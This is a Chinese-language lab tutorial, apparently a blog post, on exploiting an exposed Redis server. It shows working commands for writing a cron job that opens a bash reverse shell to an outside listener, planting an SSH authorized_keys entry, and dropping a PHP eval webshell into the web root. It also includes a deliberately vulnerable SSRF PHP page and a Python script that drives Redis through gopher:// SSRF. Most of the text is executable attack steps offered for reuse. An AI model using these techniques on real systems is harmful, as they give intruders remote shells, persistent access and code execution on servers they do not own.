redis综合利用
一、 漏洞环境配置
1、redis配置
#查看是否只能本地登录
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "bind 0.0.0.0"
bind 0.0.0.0
#检查是否开启安全模式,这里也可以开启
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "protected-mode"
protected-mode no
#检查密码
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "requirepass "
requirepass sword
#后台运行redis
[root@localhost ~]# ./redis-5.0.4/src/redis-server ./redis-5.0.4/redis.conf &
2、xlampp服务搭建
[root@localhost ~]# /opt/lampp/lampp start
Starting XAMPP for Linux 5.6.40-1...
XAMPP: Starting Apache...already running.
XAMPP: Starting MySQL...already running.
XAMPP: Starting ProFTPD...already running.
一、利用定时任务
1、连接redis数据库
┌──(root㉿kali-3)-[/home/sword]
└─# redis-cli -h 192.168.88.146 -p 6379 -a sword
2、设置保存目录
192.168.88.146:6379> config set dir /var/spool/cron/
OK
3、设置文件名
192.168.88.146:6379> config set dbfilename root
OK
4、写入反弹shell
192.168.88.146:6379> set 0 "\n\n* * * * * /bin/bash -ip >& /dev/tcp/192.168.88.141/7777 0>&1 \n\n"
OK
5、实力化保存
192.168.88.146:6379> save
OK
6、开启监听
┌──(root?kali-3)-[/home/sword]
└─# nc -lvvp 7777
listening on [any] 7777 ...
192.168.88.146: inverse host lookup failed: Host name lookup failure
connect to [192.168.88.141] from (UNKNOWN) [192.168.88.146] 60034
bash: no job control in this shell
[root@localhost ~]#
二、利用写公钥文件
1、设置保存目录
192.168.88.146:6379> config set dir /root/.ssh/
OK
2、设置文件名
192.168.88.146:6379> config set dbfilename authorized_keys
OK
3、生成公私钥
4、写入数据
192.168.88.146:6379> set 0 "\n\n\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt5LzOAx7RmcjpnVNbEIHhsln/c0n+43UwgHJr2swZn1Jcsxu17vc1zfkFneRmoGBeWKfQBb8vBFBExFA7IY7uQ30vvGzMGog7F16dAjhO10Q+FbOKhEVUNQVVkk1pqwip2qzHFYfN0SfbNeI7UqV7Vj/u8p7lJaopsrBb+UIzcFKafYv6MJjd1Aj8+uQGuYOOub++zRCWZK0KryjTPG8FzDz8RjEows4w/idvdDXBcXDDFLeFbP+vyFpojP7jYwpeh8tsKn6yvSg0QVoNgnmGQVhvX+TkN/+CCz/Fn/DwPCvmB16WA19dFRQTV0VO785RT1aHKiK+C7C2zW5SDdzZQ== \n\n\n\n\n"
OK
5、ssh无密码登陆
三、利用一句话木马
1、设置保存目录
192.168.88.146:6379> config set dir /opt/lampp/htdocs/
OK
2、设置文件名
192.168.88.146:6379> config set dbfilename shell.php
OK
3、写入一句话
192.168.88.146:6379> set 0 "<?php eval($_GET['x']);?>"
OK
4、保存
192.168.88.146:6379> save
OK
5、测试一句话
四、利用SSRF+Dict
1、SSRF漏洞PHP
<?php
#创建一个curl方法
function curl($url){
#实例化
$ch = curl_init();
#设置参数
curl_setopt($ch, CURLOPT_URL, $url);
#设置是否返回响应头,这里是0代表不用返回,则以相反
curl_setopt($ch, CURLOPT_HEADER, 0);
#发送请求
curl_exec($ch);
#关闭连接
curl_close($ch);
#如果报错就输出报错信息
echo curl_error($ch);
}
#接收POST或者GET请求方式url值
$url = $_REQUEST['url'];
#调用curl方法
curl($url);
// print_r(file_get_contents($_REQUEST['url']));
?>
温馨提示:
ile_get_contents: 在SSRF中,只支持http://, file://,
而只有curl_exec支持dict和gopher协议
2、redis的密码爆破
http://192.168.88.146/ssrf.php?url=dict://192.168.88.146:6379/auth sword
3、设置空密码
#关闭redis
[root@localhost ~]# pkill redis-server
[root@localhost ~]# cat redis-5.0.4/redis.conf |grep "#requirepass sword"
#requirepass sword
方便后面写入操作redis
4、redis的信息
http://192.168.88.146/ssrf.php?url=dict://192.168.88.146:6379/info
5、设置保存目录
http://192.168.88.146/ssrf.php?url=dict://192.168.88.146:6379/config set dir /opt/lampp/htdocs/
6、设置文件名
http://192.168.88.146/ssrf.php?url=dict://192.168.88.146:6379/config set dbfilename shell.php
五、利用SSRF+Gopher登陆
这是以我的环境写的python脚本
可以借鉴脚本的思路
1、python代码实现
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#正则模块
import re
#url转码模块
from urllib.parse import quote
#请求模块
import requests
#命令分解为redis格式
def command_data(data):
#使用正则分解data
data = re.findall(r'"[^"]+"|\S+',data)
#得到长度
num = len(data)
#得到多少个参数
command =f'*{num}\r\n'
#循环里面的单独参数
for i in data:
#算出字符串长度
param_len = len(i)
#拼接
command += f'${param_len}\r\n{i}\r\n'
#返回整个命令的redis格式
return command
def encode_gopher(data):
#把redis格式的字符串进行url转码
data = quote(quote(data))
#返回转码之后的值
return data
#get请求
def ssrf_request(data):
#url地址
burp0_url = f"http://192.168.88.132:80/sundry/ssrf.php?url=gopher://10.0.0.2:6379/_{data}"
#使用get请求
html = requests.get(burp0_url).text
return html
#检测命令是否带\n
def detection(data):
redis_command = ""
if r"\n" in data :
fruits = data.split(r'\n')
for i in fruits:
redis_command +=i+"\n"
return redis_command
def redis_null(tcp_command):
# 分解命令
command = command_data(tcp_command)
# 并接之后url转码
url_command = encode_gopher(passwd + command + command_data('quit'))
# 提交get请求
html = ssrf_request(url_command)
# 统计 "+OK" 出现的次数
ok_count = html.count("+OK")
# 判断+OK次数
if ok_count >= 2:
# 找到最后一次出现 "+OK" 的位置
index = html.rfind("+OK")
# 保留最后一次 "+OK" 并删去后面的所有字符串
cleaned_response = html[:index + 3]
else:
cleaned_response = html
return cleaned_response
if __name__ == '__main__':
#密码转码
passwd = command_data('auth sword')
#死循环
while True:
#获取命令
tcp_command = input("10.0.0.2:6379>")
#判断是否结束脚本
if tcp_command == 'exit':
exit()
redis = detection(tcp_command)
if redis == "":
print(redis_null(tcp_command))
else:
print(redis_null(redis))
2、演示成功图片
推荐文章:
http://t.csdnimg.cn/n0kCL